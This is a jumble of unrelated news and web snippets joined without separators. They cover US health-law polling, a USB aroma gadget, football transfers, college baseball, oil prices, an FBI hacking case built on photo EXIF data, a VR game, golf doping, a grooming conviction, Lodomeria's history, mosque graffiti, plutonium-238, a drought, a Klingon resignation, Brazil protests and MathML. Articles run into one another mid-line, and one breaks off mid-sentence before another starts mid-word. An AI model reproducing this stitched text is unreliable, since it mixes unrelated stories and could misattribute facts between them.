On three separate attempts in late July, McConnell fell short of the 50 GOP votes he needed to pass legislation scrapping Obama’s law. With a 52-48 GOP majority and Vice President Mike Pence available to cast a tie-breaking vote, McConnell has said he’s moving onto other matters unless “people can show me 50 votes for anything that would make progress.”
With the Kaiser survey consistently showing clear overall public support for retaining Obama’s law, the numbers help explain why some centrist Republicans who rely on moderate voters’ support opposed repeal or backed it only after winning some concessions.
Strikingly, while large majorities of Democrats and independents back efforts to sustain the statute, even Republicans and Trump supporters lean toward saying the administration should try making the law work, not take steps to hinder it.
But in other instances, Republicans and Trump supporters part company with Democrats and independents and strongly back the president’s views. For a White House that often seems more concerned with cementing support from Trump’s loyalists than embracing the political center, that might help explain the president’s persistence on the issue.
For example, 6 in 10 Republicans and Trump backers want the GOP to continue its repeal and replace drive in Congress.
And around two-thirds from those groups want Trump to stop enforcing the tax penalty Obama’s law levies on people who don’t buy coverage. Analysts say that would roil insurance markets because fewer healthy people would buy policies, leaving them with greater proportions of expensive, seriously ill customers.
Trump has frequently tried pressuring Democrats to negotiate on health care by threatening to halt federal subsidies to insurers. While around 6 in 10 overall say Trump should not use such disruptive tactics, a majority of Republicans back that approach.
The companies use the money to trim out-of-pocket costs for deductibles and copayments for around 7 million low- and middle-income people. Since insurers are legally required to reduce those costs, they say blocking the subsidies would force them to increase premiums for millions who buy private insurance, including those whose expenses aren’t being reduced.
The poll found that 52 percent have a positive view of Obama’s law, a 9 percentage point increase since Trump was elected last November.
The Kaiser Health Tracking Poll was conducted Aug. 1-6 and involved random calls to the cellphones and landlines of 1,211 adults. The margin of sampling error for all respondents is plus or minus 3 percentage points.Scent 2.0 Use USB power to warm up aromatherapy oil
No software, no drivers, just plug it in
One bottle of lavender oil included, but can be used with any fragrance oil you like
Scent is one of our most unusual senses because it can affect our moods without our conscious mind realizing it. Olfactory neurons are slower to absorb information and also slower to give it up - which means the when a smell affects you, it lingers. Department stores use smell manipulation all the time to get consumers to behave how they want. Now you can manipulate your sniff-cells in your own work place. Freshen the air and affect your mood in two easy steps with the USB Aromatherapy Oil Burner.
Step one, add one drop of the included aromatherapy oil onto the little X. Step two, insert into a USB drive (horizontal drives preferred to prevent drips). There is no software to run, no drivers to install, as the USB Aromatherapy Oil Burner just needs to get warm. And then the lavendery smells spread around your office and put you in a better mood. Also makes a great gift - really, why buy a bouquet of flowers when you can give your special someone a tiny USB stick and a little bottle and they'll have the smell of lavender for a lot longer than real flowers would last and never need to do any watering or any other "responsible" actions like using proper punctuation or avoiding run-on sentences?
Dimensions: approx 2.5" long (mini bottle of Lavender scented oil included - can be used with any fragrance oil)The Argentina defender - who had been strongly linked with a move to Southampton - is facing disciplinary action from his club after reportedly refusing to train and handing in a transfer request in a bid to force through a move to United.
Sporting president Bruno de Carvalho said that both Rojo and team-mate Islam Slimani, a target for Leicester City, are "subject to strong disciplinary measures" and will not play in the club's Portuguese league opener against Academica on Saturday.
"There is no player bigger than the club," De Carvalho told Portuguese television. "I would not give up the honour, the club's history, for the attitudes of anyone.
"I give a piece of advice: don't use the press, be professional. These two, in defence of our magnificent group, must be removed. They are subject to strong disciplinary measures."
The 24-year-old Rojo, who scored against Nigeria during the World Cup in Brazil, is comfortable playing in a three-man defence which may appeal to Louis van Gaal as he continues to implement tactical change at Old Trafford.
Having agreed to the signings of Ander Herrera and Luke Shaw - moves that were lined up before the Dutchman took charge at Old Trafford - Van Gaal said he would examine his squad during their pre-season tour of the United States before identifying which areas of the squad needed strengthening.
Rojo may be the first part of that rebuilding process but he may not be the last.
Daley Blind – who was hugely impressive for Van Gaal's Holland during the World Cup - continues to be linked with a move to Old Trafford.
"I am happy here in Amsterdam," the Ajax defender said. "But if there comes another club I will have to think about it and then we will see. I will think about my options. For now I will focus on Ajax and we will see what happens next week."
Angel di Maria may also be the subject of a £50 million bid from United. The Real Madrid midfielder was on the bench for Tuesday's Super Cup against Sevilla as Carlo Ancelotti handed new signing James Rodriguez his first start following his transfer from Monaco.
"Until now he is a Real Madrid player and we will have to wait to see what will happen," said Ancelotti after the victory in Cardiff.
• Van Gaal's first day at the office: How he fared
• King Louis now ready for the real business
• Rooney named United's new captain
• Manchester United season guide 2014-15
• United ban iPads from Old TraffordIf you have heart problems I recommend you stop paying attention to UVa baseball. They've decided that instead of scoring a boatload of runs in the early innings and keeping the game in hand the entire time, it is much more fun to fall behind early (most of the time by a lot of runs) and score runs late to win the game.
Such was the case on Wednesday when the Hoos fell behind by the third inning only to storm back in the final innings to take the lead, give it back, tie it back up, and then finally win the game thanks to a leadoff Brandon Downes double and a Jared King single in the tenth.
Artie Lewicki started his second game back from Tommy John surgery and gave up a run in the first. Josh Sborz came on in relief and struggled as well, surrendering four runs on four hits in 2.2 IP. If you were hoping it would get better when Nathan Kirby came on in relief, you would have been wrong. Kirby gave up another two runs on seven hits. Austin Young faced a batter and didn't give up a run before Whit Mayberry took over and gave up two runs in 1.1 innings. AND FINALLY, Kyle Crockett came on finally and shutout ODU over the final 2.2 innings.
To the pitcher's credit, only five of ODU's nine runs were earned thanks to three errors by the fielders. Still, five runs is borderline unacceptable to a staff with one of the best ERAs in the country.
It was a team effort at the plate with six Cavaliers registering hits including Jared King going three for five, including the winning single with two outs in the tenth. Even though King had himself quite a game, Mike Papi was certainly the headliner. Papi showed yet again while he has one of the clutchest bats on the team in the 7th inning. With the Hoos trailing 8-4 Papi stepped up to the plate with the bases loaded and launched his sixth home run of the season and tied the game up.
ODU pulled ahead again in the eighth inning before the Cavaliers stormed back with a run of their own because of an ODU infield error.
These games are fun and full of drama, but shenanigans like this don't fly against the top programs that UVa is going to have to face if they want to make an Omaha run this year. You can't fall behind a team with a good pitching staff and hope to comeback every time. It just doesn't happen.
That said, the Hoos welcome the Seminoles to Charlotteville this weekend in the premier baseball matchup in the country.Bruce Springsteen tribute band the B Street Band drew a lot of press attention for agreeing to play the Garden State Inaugural Gala even though Springsteen himself is adamantly against the president-elect. The snag in all of this ire is that the tribute band was booked before we knew we’d have a new Cheeto-In-Chief, but it turns out none of that outrage matters anyway because the B Street Band has officially withdrawn from the inaugural celebration “based SOLELY on the respect and gratitude we have for Bruce and the E Street Band.” Here’s their full statement (via Backstreets):
With deepest apologies to our fans and the New Jersey Inaugural Ball committee, the B Street Band is withdrawing from performing at this year’s inauguration Gala.
Our decision is based SOLELY on the respect and gratitude we have for Bruce and the E Street Band.
Bruce’s music has been the foundation of our livelihood. The B Street Band would not exist without the talents of Bruce and our E Street brothers.
We are most grateful to these rock legends and look forward to many more years of emulating and performing the Forever Music, of Bruce Springsteen.NEW YORK (Reuters) - Oil prices fell on Wednesday to a 5-1/2-year low and ended with their second-biggest annual decline ever, down by half since June under pressure from a global glut of crude.
A flame shoots out of a chimney at a petro-industrial factory in Kawasaki near Tokyo December 18, 2014. REUTERS/Thomas Peter
Just before the close, Brent and U.S. oil futures bounced off session lows. But prices still settled at their lowest since May 2009. Weekly U.S. data showed crude oil stockpiles fell more than expected, but inventories at the oil hub at Cushing, Oklahoma, grew, keeping prices depressed.
Oil prices have collapsed this year as the Organization of the Petroleum Exporting Countries opted to maintain the same level of output despite a global glut caused by expanding U.S. shale output and diminished demand growth from China.
Phil Flynn, an analyst at Price Futures Group, said the mood was “sour” and trade choppy as dealers continued to hunt for a bottom, with volatility exacerbated by thin holiday volume.
“We are sowing the seeds for a rally down the road, but it doesn’t look like any time soon,” he said.
Brent settled down 57 cents at $57.33 a barrel, bouncing off an intra-day low of $55.81 but closing below $60 for a fourth straight day.
U.S. crude fell 85 cents to settle at $53.27 a barrel, down 45 percent from a year ago.
Trading seesawed as traders balanced positions for the new year and digested a mixed report on U.S. crude stockpiles from the Energy Information Administration [EIA].
U.S. crude closed with its second-largest annual decline on record. The biggest came in 2008, when prices collapsed in the wake of the financial crisis. The last round of OPEC output cuts eventually brought them off lows near $30 a barrel.
In contrast, OPEC at a Nov. 27 meeting this year decided against cutting output. Despite its own forecasts of a growing surplus, the group opted to defend its market share against shale oil and other rival supply sources.
Turmoil in Libya dented OPEC supply in December to a six-month low, a Reuters survey showed, although forecasts still point to a glut.
Related Coverage Push to relax U.S. oil export ban ends 2014 with breakthrough
The EIA reported a weekly drawdown U.S. crude inventory, along with small increases in demand for gasoline and heating oil and a rise in stocks for gasoline and distillate.
Oil prices came under further pressure from a survey showing China’s factory sector shrank in December for the first time in seven months. This should hurt energy demand in the world’s No. 2 consumer.
(This story corrects day of week in lead to Wednesday; corrects name of EIA in para 8)Human beings will be VERY different in just over three decades time - when we’ll be gold-skinned, immortal cyborgs.
That’s the startling prediction of one futurologist - who says that technology will cause us to ‘evolve’ into a new species over the next few decades.
Our mastery of technology will also lead to ‘engineered’ pets which talk - a litlte like living Furbies.
Human beings will effectively become immortal as we gain the ability to upload our minds into computers - and download them into new robot bodies.
The predictions - based on academic research - were made by futurologist Dr Ian Pearson for the Big Bang Science Fair 2016.
Dr Pearson says that by 2050, people will be able to connect their brains directly to computers and, ‘could move their mind into an improved android body.
‘This would allow people to have multiple existences and identities, or to carry on living long after their biological death.’
‘What’s exciting is that it is no longer nature which is forcing changes on us but our own breakthroughs.’Last week, Higinio O. Ochoa III was charged by the FBI with hacking into US law enforcement agencies and releasing phone numbers and home addresses of police officers. You're looking at the evidence the FBI used to nail him.
Advertisement
Ochoa is a 30-year-old Linux administrator who lives in Galveston, Texas. The FBI accuses him of being part of Anonymous hacking group CabinCr3w and participating in several illegal actions. The woman in the photo is his Australian girlfriend, who lives in Wantirna South, a suburb of Melbourne, Australia. The image was used by the FBI as 'definitive proof' that shows that the CabinCr3w hacker known as w0rmer and Ochoa are the same person.
Boob proof
Here is what happened: back in February, Ochoa allegedly posted a tweet using the handle @Anonw0rmer. In that tweet, he directed followers to a site in which he posted pilfered information from various law enforcement agency websites. At the bottom of that site there was the image of this woman, now identified as his girlfriend, with a sign that read "PwNd by w0rmer & CabinCr3w <3 u BiTch's!"
Advertisement
The picture—taken with an iPhone—had GPS information which showed that the photo was taken at the woman's home in Wantirna South. The GPS information was embedded in the photo's EXIF data (EXIF is a set of standard tags that includes information such as location, camera type, and other image information in every photo you take with your smartphone).
Other tweets from @Anonw0rmer pointed to other sites that contained references to the w0rmer alias and more pictures of this woman. Some of the sites had Ochoa's name connected to the w0rmer alias, which was enough cause for the FBI to gain access to Ochoa's Facebook page. There, the discovered that he listed the Australian woman as his girlfriend, and showed off several of her photos.
Although the photo used as evidence doesn't show the woman's face, the FBI is convinced there is no doubt that it is the same woman. They also claim that it is definitive proof that Ochoa is w0rmer.
Advertisement
Not a snitch
Unlike Sabu—who sold his colleagues to the FBI—Ochoa says he's not a snitch. Higinio was busted on March 20, according to a Pastebin post allegedly written by himself on March 31. In that post, he said that "around 8 agents from the FBI stormed [in his] apartment" at around 10:30 a.m. He then was taken to a Houston FBI office until he paid a $50,000 bail.
Advertisement
In the same Pastebin, Ochoa claimed he wasn't an informant:
Some body such as myself who not only participated in the occupy movement but knew many and knew the inner workings of the 'infamous' cabin crew would not be just put away without wondering if he could be turned. I did how ever tell FBI that I would participate in the capture of my fellow crew mates, a play which undoubtfully both satisfied and confused the FBI. Those however who know me best would vouch for me undoutfully that doing so would put this movement at risk, something that I wish more anon's would not only consider but place higher than themselves and those around them. ALL information provided to the FBI merely made MY case weaker and caused internal confusion showing the inherent weakness in the system.
Advertisement
The FBI has detailed some of Ochoa's personal hacking. He illegally logged into the County of Houston's website in Alabama, "created fake events on their online, posted images representing Anonymous and CabinCr3w, deleted all the administrator accounts except the one created by the attacker. All of this was accomplished by gaining unauthorized administrator access to the site's control panel."
In addition to revealing policemen's personal information from several law enforcement agencies, including more than one hundred Los Angeles police officers, CabinCr3w was also responsible for leaking email address and confidential information from Goldman Sachs executives in September 2011.
Ochoa took time to reply to these accusations:
After FBI Agent Scott Jenson [sic] was done explaining how unimpressed he was with both my expressed skills, and information I provided the systems administrator for the texas DPS, he then proceeded to interview me for the exact information concerning the breach of the texas DPS site. (It would seem to me neither the DPS administrator nor the FBI fully understand the ‘complexity' of SQL injections.)
Advertisement
Ochoa appeared on April 10 before Magistrate Courtroom Deputy Annette French, where the boob evidence above was revealed in the FBI's affidavit. [SMH and MYCE and Security News Daily]About This Game
Core Features
Go Hardcore – Experience 360-degree freedom of movement, rotation and acceleration in a sandbox environment built for VR headsets.
– Experience 360-degree freedom of movement, rotation and acceleration in a sandbox environment built for VR headsets. It’s Getting So Atmospheric – Discover the wide blue yonder inspired by the sublimity of Gravity with an accompanying fully orchestrated score composed by Mikołaj Stroiński (The Witcher 3, The Vanishing of Ethan Carter).
– Discover the wide blue yonder inspired by the sublimity of Gravity with an accompanying fully orchestrated score composed by Mikołaj Stroiński (The Witcher 3, The Vanishing of Ethan Carter). Blast, Splinter and Charge – Employ Shield, Boost and EMP Rockets skills in both single-player and multiplayer modes. Hit targets with lock-on missiles built into your suit. Master weapon cool down times before your opponent gets the upper hand. Gain temporary immunity with the shield skill. Exploit boosting tunnels to gain a speed advantage.
– Employ Shield, Boost and EMP Rockets skills in both single-player and multiplayer modes. Hit targets with lock-on missiles built into your suit. Master weapon cool down times before your opponent gets the upper hand. Gain temporary immunity with the shield skill. Exploit boosting tunnels to gain a speed advantage. Astronautic Drills – Get to grips with your spacesuit’s controls in a zero-G environment through a dynamic tutorial before venturing into outer space. FPS-style steering will introduce newbies and those sensitive to VR playing to the hardcore VR experience.
– Get to grips with your spacesuit’s controls in a zero-G environment through a dynamic tutorial before venturing into outer space. FPS-style steering will introduce newbies and those sensitive to VR playing to the hardcore VR experience. Blink and You’ll Miss It – Challenge a friend to Detached’s nail-biting PvP mode and then spend time getting acquainted with the infinite universe in single-player mode.
Warning
Exploration. Rivalry. Survival.
is a space exploration VR game that demands tactics and skill to survive. Strap yourself in for hardcore gameplay uniquely designed for VR headsets.Trapped in an abandoned space station, you must race against borrowed time to find your crew before your oxygen supply runs out. As you solve puzzles to open airlocks, locate power cores and disable transmitters, something tells you that you won’t be alone when you finally escape into the universe’s deep infinity.This is an extreme VR experience that simulates sudden and dramatic acceleration, freefalling, twisting and rolling. Even with the 90 FPS frame rate, it is not for VR-sensitive players.These are the tenets of deep space society. Detached drops you at the edge of a universe destroyed by human misrule and extortion. Thanks to years of warfare and greed, the human colonies in deep space are no more. The great factions have crumbled; the corrupt corporations have dissolved.Most people adhere to the last remaining code of humanity: no killing. But in the lonely expanse of space where resources are low, many are willing to bend the rules to survive.will give you tons of freedom in how you play, and the gaming sensation is intense,” says Łukasz Hacura, Creative Director of Anshar Studios, “players of our Early Access release told us exactly what we needed to know to make the game absolutely electrifying for virtual reality headset users.”Unlike many games where VR is a mere expansion, VR is the primary asset of Detached. To complete the game, you must master the controls of your EVA spacesuit and develop your ability to move in a realistic zero-G environment.Multiplayer pits you against your friends in an entirely new take on capture the flag. Race against each other to gather the necessary skills and complete your mission. Every second is precious, and every choice you make can mark the difference between life and death.Single-player mode makes full use of the VR headset, giving you the chance to interact with the tranquil expanse of space. Beta players have lauded Detached’s sandbox environment that encourages players to enjoy the types of experiences normally only felt by astronauts.John J Hall was their first hire, a seasoned production brewer from Goose Island known for his technical expertise, and his first task was perfecting the long-standing 5 Rabbit recipes from Randy Mosher and the team, like 5 Lizard and the namesake golden ale. But the first major seasonal release that really showed his skill was Huitzi. Randy describes the process:
"Making beers with non-traditional ingredients represents a huge technical challenge. Over the last year or so, we're growing in our understanding of these ingredients, each of which has its own learning curve. With this one, the hibiscus is the focus, and based on some research, we changed our extraction approach to draw out less pectin, which formed a haze last year. Not only did we get a dramatically clearer beer, we also got better color and a more elegant aroma, all just by changing the temperature of the "tea" we made in the hop back with the hibiscus. "
Described as a "midwinter" ale, Huitzi blends flavors from hibiscus, honey, ginger and chamomile to produce a restrained but herbaceous and fruitful bouquet in a beer more reminiscent of what's going on in Spain and Italy's craft brewing culture where ingredients like rosemary and mushrooms are all the rage. (side note, look for 5 Rabbit's new Ki'Chun beer made with chanterelles while you're at it.)One of the leading voices in the fight against doping in sports is taking aim at golf.
Dick Pound, a former president of the World Anti-Doping Agency and leading advocate for the strict drug testing of athletes across all sports, accused PGA Tour Commissioner Tim Finchem of ignoring the influx of performance-enhancing drugs in golf in order to protect the Tour’s clean image.
“We have all seen the shape changes in golfers and the distances they are hitting now and we know that the equipment is better and the balls are better but it isn’t just that,” Pound told The Scotsman. “But if you follow some of the shape changes in the golfers and follow how, at a certain point, if they happen to come off them, you see how many more injuries they get. There’s a problem there.”
Pound recounted a conversation he had with Finchem in which the commissioner dismissed Pound’s suggestion that golf could set an example to other sports by implementing strong anti-doping measures.
“He said: ‘Ah, but if I do that then they are all going to think my guys are just like those baseball players and football players and I don’t want that.'”
Tour spokesman Ty Votaw declined to respond to Pound’s comments or speak to the veracity of Pound’s account of his conversation with Finchem, but Votaw did defend the Tour’s anti-doping efforts.
“Since 2008, we have had a comprehensive and robust anti-doping policy, have conducted thousands of tests of our athletes since that time and have had a couple of suspensions announced, all of which demonstrates that while we continue to believe we have a clean sport, there have been instances in which players have made mistakes and have been sanctioned,” Votaw said.
Under the Tour’s anti-doping program, three golfers have been suspended for using PEDs — Doug Barron (2009), Bhavik Patel and Scott Stallings (both 2015) — but WADA chief David Howman told GOLF.com in 2015 that “there are gaps in the program, and that means someone might not be tested or might not be detected.”
The Tour does not blood test its athletes because of concerns that drawing blood could harm a golfer’s performance, but urine-based detection methods for popular performance enhancers like HGH have yet to be developed.
The Tour also claims to conduct both in- and out-of-competition testing, but a group of Tour stars headlined by Tiger Woods, Phil Mickelson and Rory McIlroy all told The New York Times in 2013 that they had never been tested away from a tournament site.Two men from Hackney have been found guilty of a string of sexual offences against vulnerable teenage girls after grooming them online.
Colin Trotman, 45, and Glenn Dyett, 56, targeted their victims on social networking sites before travelling to Southend to abuse them.
They sexually assaulted the girls, who police described as "naïve and troubled", after plying them with alcohol and drugs during several visits to the seaside town in Essex between August and November 2012.
Basildon Crown Court heard the pair met the girls on the seafront and assaulted them in Trotman’s BMW if they refused to have sex with them.
They were arrested |
987, Wlodimer (or Wolodymyr).
Upon the first partition of Poland in 1772, the name Kingdom of Galicia and Lodomeria (probably in reference to the Kingdom of Galicia–Volhynia) was granted to the Polish territories that were passed to the Habsburg Monarchy, while most of Volhynia with the city of Vladimir stayed with Poland until eventually being acquired by the Russian Empire.
Lodomeria together with Galicia formed one of the many titles of the Emperor of Austria, "the ruler of Kingdom of Galicia and Lodomeria". However, Lodomeria existed only on paper, had no territory and could not be found on any map.[2]
The American Notes and Queries published in 1889 stated that Lodomeria was an ancient district of Poland situated in eastern portion of the country. In 938 the Ruthenian Grand Prince Vladimir (Wolodymyr) founded the duchy and named it after himself. In 1198 the nominal title of a ruler of Lodomeria was created by one of his descendants.[3] In 1340 King Casimir annexed Lodomeria with Poland.[3][4][1]
Origin of the title [ edit ]
The name "Volhynia" is first mentioned in Ruthenian chronicles as a region inhabited by a tribe called the Volhynians that was conquered by the Grand Prince of Kiev Vladimir the Great. Volhynia changed hands several times throughout the following centuries. Circa CE 1199 it was merged with the Principality of Halych, to form the Duchy (later Kingdom) of Galicia and Volhynia under Prince Roman the Great. After the death of Roman the Great in 1205, Andrew II of Hungary adopted the title of "King of Lodomeria" (as well as of Galicia), in reference to Volhynia. Although the Hungarians were driven out from Halych-Volhynia by 1221, Hungarian kings continued to add Galicia et Lodomeria to their official titles.
In 1527, the Habsburgs inherited those titles, together with the Hungarian crown. In 1772, Empress Maria Theresa, Archduchess of Austria and Queen of Hungary, decided to use those historical claims to justify her participation in the first partition of Poland. In fact, the territories acquired by Austria did not correspond exactly to those of former Halych-Volhynia. Volhynia, including the city of Volodymyr-Volynskyi was taken by the Russian Empire, not Austria. On the other hand, much of Lesser Poland did become part of Austrian Galicia. Moreover, despite the fact that the claim derived from the historical Hungarian crown, Galicia and Lodomeria was not officially assigned to Hungary, and after the Ausgleich of 1867, it found itself in Cisleithania, or the Austrian-administered part of Austria-Hungary.
The full official name of the new Austrian province was "Kingdom of Galicia and Lodomeria with the Duchies of Auschwitz and Zator". After the incorporation of the Free City of Kraków in 1846, it was extended to "Kingdom of Galicia and Lodomeria, and the Grand Duchy of Kraków with the Duchies of Auschwitz and Zator" (German: Königreich Galizien und Lodomerien mit dem Großherzogtum Krakau und den Herzogtümern Auschwitz und Zator). Therefore, from 1772 to 1918 "Lodomeria" was claimed by the Austrian monarchs, whereas Volhynia, the region the word had originally referred to, was part of the Russian Empire.Anti-Islamic graffiti has been sprayed on a mosque in North Lanarkshire.
The words "Saracen Go Home" and the term "Deus Vult", translated from Latin as "God Willing", were painted on two walls of the mosque in Cumbernauld.
The attack, being treated as a hate crime, happened sometime between 21:00 on Friday and 07:30 on Saturday.
Mosque leaders described the incident as "unusual" and said people were "very worried" by it. The graffiti has been reported to police.
Azhar Din, a trustee of The Islamic Education Trust Cumbernauld, which runs the mosque, said, "The graffiti wasn't there when people left after late prayers at the mosque around nine o'clock last night.
"It was discovered when the first people arrived for morning prayers at about half past seven this morning.
"It has been reported to the police. This is very unusual to have this kind of thing in Cumbernauld and people are very worried by it."
'Hate crime'
The mosque, which is situated at Craighalbert Way, is run by the Islamic Education Trust of Cumbernauld, who say they are dedicated to providing "essential Islamic services" and to promoting community cohesion.
A spokesman for Police Scotland said: "We can confirm that an investigation is under way following an act of vandalism at the Islamic Education Trust (mosque) in Cumbernauld and inquiries are continuing.
"This matter is being treated as a hate crime.
"Hate crime remains a priority for Police Scotland and we are working closely with our criminal justice partners to do everything in our power to protect all communities and eradicate all forms of hatred."After a 27-year gap, the U.S. Department of Energy has resumed producing plutonium-238, the radioactive fuel that powers NASA’s Curiosity rover on Mars and the New Horizons mission to Pluto and beyond.
The material will be used in radioisotope thermoelectric generators, or RTGs, for future space missions. The RTGs generate electricity as well as heat – as shown in “The Martian,” a movie in which an RTG is repurposed to keep a marooned astronaut warm. They’re particularly suited for missions to the outer planets, where solar-powered probes face greater challenges. Future plutonium-powered missions may include flights to study the mysterious ice-covered moons of Jupiter (such as Europa) or Saturn (such as Enceladus).
“This significant achievement by our teammates at DOE signals a new renaissance in the exploration of our solar system,” John Grunsfeld, NASA’s associate administrator for science, said today in a news release. “Radioisotope power systems are a key tool to power the next generation of planetary orbiters, landers and rovers in our quest to unravel the mysteries of the universe.”
Twenty-seven U.S. space missions have used RTGs, but as the Cold War wound down, the infrastructure for plutonium production wound down as well. When the Savannah River Plant in South Carolina shut down its K Reactor in 1988, that cut off the supply of U.S.-made plutonium-238. The United States then had to buy plutonium from post-Soviet Russia.
Other radioactive isotopes of plutonium are used in nuclear weapons, and they’re produced using a different process.
The Energy Department said a 50-gram, golf-ball-sized lump of plutonium-238 was made in a reactor at the Oak Ridge National Laboratory in Tennessee to demonstrate a new procedure for fuel production. Neptunium-237 from the Idaho National Laboratory is mixed with aluminum and then irradiated in a reactor to produce neptunium-238, which quickly decays to become plutonium-238. The plutonium is then converted to a powdery oxide and shipped to Los Alamos National Laboratory for further processing and storage.
The first sample will be analyzed for chemical purity and plutonium-238 content. When production starts in earnest, NASA and the Energy Department plan to produce about 12 ounces (300 to 400 grams) of plutonium oxide per year. Eventually, the operation will be ramped up to a rate of 3.3 pounds (1.5 kilograms) per year.
The effort to revive plutonium-238 production has cost about $15 million a year, the Energy Department says.
The current U.S. stockpile of plutonium-238 amounts to about 77 pounds (35 kilograms). Only about half of that supply provides enough heat to meet specifications for future spacecraft. The other half is too old and cold, but it can be blended with newly produced plutonium to add to the inventory. Each RTG requires somewhere around 10 to 18 pounds of plutonium-238.
The next mission to use an RTG is NASA’s 2020 Mars rover, due for launch in four years. The plutonium for that mission is being produced from the existing stockpile.The state yesterday lifted a drought warning on all but two counties, as recent rainfall and other precipitation eased a prolonged dry spell that had left most reservoirs and streams way below normal levels.
The action by the state Department of Environmental Protection ends a drought warning in 12 northern and central counties while striking a drought watch in four southern counties — Burlington, Gloucester, Camden, and Salem.
A drought warning remains in effect for Hunterdon and Somerset counties, primarily due to below-normal capacity in the Round Valley and Spruce Run reservoirs, the primary source of drinking water for those regions.
“It’s not a surprise,’’ said David Robinson, state climatologist, who noted that the U.S. Drought Monitor today will declare New Jersey out of a drought designation for the first time in a year.
The state’s water situation started improving with the snowfall in late winter, followed by the above normal rainfall in the following weeks, Robinson said.
DEP Commissioner Bob Martin agreed. “The return of soaking and well-timed precipitation over the winter and early spring has resulted in steady improvements in our drought indicators for most of the state,’’ Martin said.
State geologist Jeffrey Hoffman said water levels are increasing across the state with the recent rains. “Reservoirs, with the exception of Round Valley and Spruce Run, are more than 90 percent full. Stream flows and groundwater levels are tending upward, which is a good sign,’’ he said.
The area around those two reservoirs, at 72 percent and 69 percent of capacity, respectively, had less rainfall this past winter. Typically, the reservoirs are at 94 percent capacity at this time of year.
By remaining under a drought warning, the reservoirs will continue to operate under a modified flow designed to conserve storage, officials said.
“By maintaining the reducing passing-flow requirement, the (New Jersey Water Supply) Authority would expect to have anywhere between seven billion to ten billion gallons in the reservoirs over the upcoming summer months, which will allow the reservoirs to continue to improve,’’ said Beth Gates, executive director of the authority.
State officials cautioned reservoirs to conserve water as the state enters the peak period of water use.
“Our water supplies are finite, to say the least,’’ observed Robinson. “I can remember when the reservoirs were overflowing on May 1, and then we were under a drought watch by August 1.’’
The counties lifted from a drought warning included Bergen, Essex, Hudson, Mercer, Middlesex, Monmouth, Morris, Ocean, Passaic, Sussex, Union, and Warren counties.A North Carolina politician has chosen a memorable way to step down from his Town Council seat, an event notable less for what he said than for how he said it: The resignation was submitted in Klingon.
David Waddell, a councilman in Indian Trail, a town in Union County a few miles from Charlotte, invoked the language of the war-making race from "Star Trek" in saying he wouldn't serve out his first term. According to a report in the Charlotte Observer, Waddell provided the Klingon-language letter to Mayor Michael Alvarez "as an inside joke."
"Folks don’t know what to think of me half the time," he told the paper. "I might as well have one last laugh."
Below is a screenshot of the letter, posted on Waddell's Facebook page:
In order to make it accessible to those not fluent in Klingon, he included a translation of the resignation. It read:
"Teach (the) city (the) constitution / I will return next time to (witness) victory. / Resignation occurs in 2014 the 31st of January. Perhaps today is a good day (to) resign."
Alvarez, however, wasn't amused, the paper said. "It's an embarrassment for Indian Trail, and it's an embarrassment for North Carolina," the town's mayor was quoted as saying.
Waddell did post a lengthier, non-Klingon explanation on his Facebook page detailing why he was leaving the council.
"The past year on the Indian Trail Town Council was filled with more deception, conflict of interest issues, being left in the dark on what’s going on, crony capitalism, runaway development and requests for public information being refused or stonewalled for months," he wrote.
His seat, the Observer reported, was set to end in December 2015. His last day in office will be at the end of this month.
Waddell doesn't appear entirely finished yet with elected office though. In the longer letter he wrote, he said he's going to make a bid for the U.S. Senate as a write-in candidate with the Constitution Party. It isn't known how many members of the nation's Senate speak Klingon.22 Jul 2014, 10:31am
Basic freedoms are under threat in Brazil. Mass protests have led to ill-equipped police using unnecessary force on civilians. We're calling on Brazil not to turn the beautiful game ugly, and respect human rights for all.
In recent years, Brazil has seen mass protests of a scale never before seen in the country.
In May 2013, Brazilians took to the streets, initially to rally against rises in transport fares. The focus of the demonstrations quickly widened to government corruption, poor public services, and forced evictions in preparation for the World Cup.
It soon became clear that police and security forces were not equipped to deal with demonstrations of this scale. In many cases they used excessive force to control protests – including tear gas and rubber bullets – causing injuries and even death.
A municipal street cleaner in Belem, Pará state, died on 21 June 2013 after police allegedly sprayed tear gas inside a place where she and other people were sheltering during a protest the day before.
Crackdown at the World Cup
The 2014 World Cup came to a dramatic conclusion when police arrested around 20 protestors before the final between Argentina and Germany.
‘The arrests on Saturday and the way the police behaved on Sunday, violently repressing a small protest near Maracana stadium, were a clear attempt to intimidate protesters. The violence meted out by the security forces over the course of the World Cup was excessive, unnecessary and a direct threat to the right to peaceful protest. The heavy-handed crackdown included the use of non-lethal weapons, such as stun grenades, pepper spray and tear gas.’
Atila Roque, Director of Amnesty International Brazil
We have collected evidence of the excessive use of force in São Paulo, Rio de Janeiro, Recife and Fortaleza during the tournament. Acts of intimidation against protesters were also documented in Curitiba and Brasilia.
Protesting is not a crime, it’s a human right
Hundreds of protesters were arrested during the 2013 protests. Some were immediately released and others were detained and charged – many of them for offenses of contempt, resistance, conspiracy to gather or assemble, and for causing damage to property.
Instead of crushing potential protests, Brazilian authorities should instead be looking for ways to responsibly police demonstrations and allow citizens to peacefully protest without fear of arrest.
Justice must be served
In São Paulo alone, Police Internal Affairs opened 21 internal processes to investigate allegations of violations by the police during protests between June 2013 and January 2014. It is reported that, so far, none of these investigations have been concluded and no police officers have been subjected to disciplinary or criminal proceedings or received any penalties.
We are calling for immediate, independent investigations into the many abuses committed by Brazilian police against protestors.20 years into the web, math and science are still second class citizens on the web. While MathML is part of HTML 5, its adoption has seen ups and downs but if you look closely you can see there is more light than shadow and a great opportunity to revolutionize educational, scientific and technical communication.
Somebody once compared the first 20 years of the web to the first 100 years of the printing press. It has become my favorite perspective when thinking about web standards, the web platform and in particular browser development. 100 years after Gutenberg the novel had yet to be invented, typesetting quality was crude at best and the main products were illegally copied pamphlets. Still, the printing press had revolutionized communication and enabled social change on a massive scale.
In the near future, all our current web technology will look like Gutenberg’s original press sitting next to an offset digital printing machine.
With faster and faster release cycles it is sometimes hard to keep in mind what is important in the long run—enabling and revolutionizing human communication.
Since I joined the MathJax team in 2012, I have gained many new perspectives on MathML, the web standard for display of mathematical content, and its role in making scientific content a first class citizen on the web. But it is rather useless to talk about MathML’s potential without knowing about the state of MathML on the web. So let’s tackle that in this post.
A little bit of history
MathML has a long and somewhat particular history among the standards that make up HTML 5. It started out as the <math> tag in the draft of HTML 3 (all the way back in 1995) but HTML 3 proved too complex for browsers to implement (we are talking Netscape and IE here). As modularization was the hope and XML was the fashion, the math tag was eventually kicked out with HTML 3.2 and turned into a separate XML language—and a year later MathML was born.
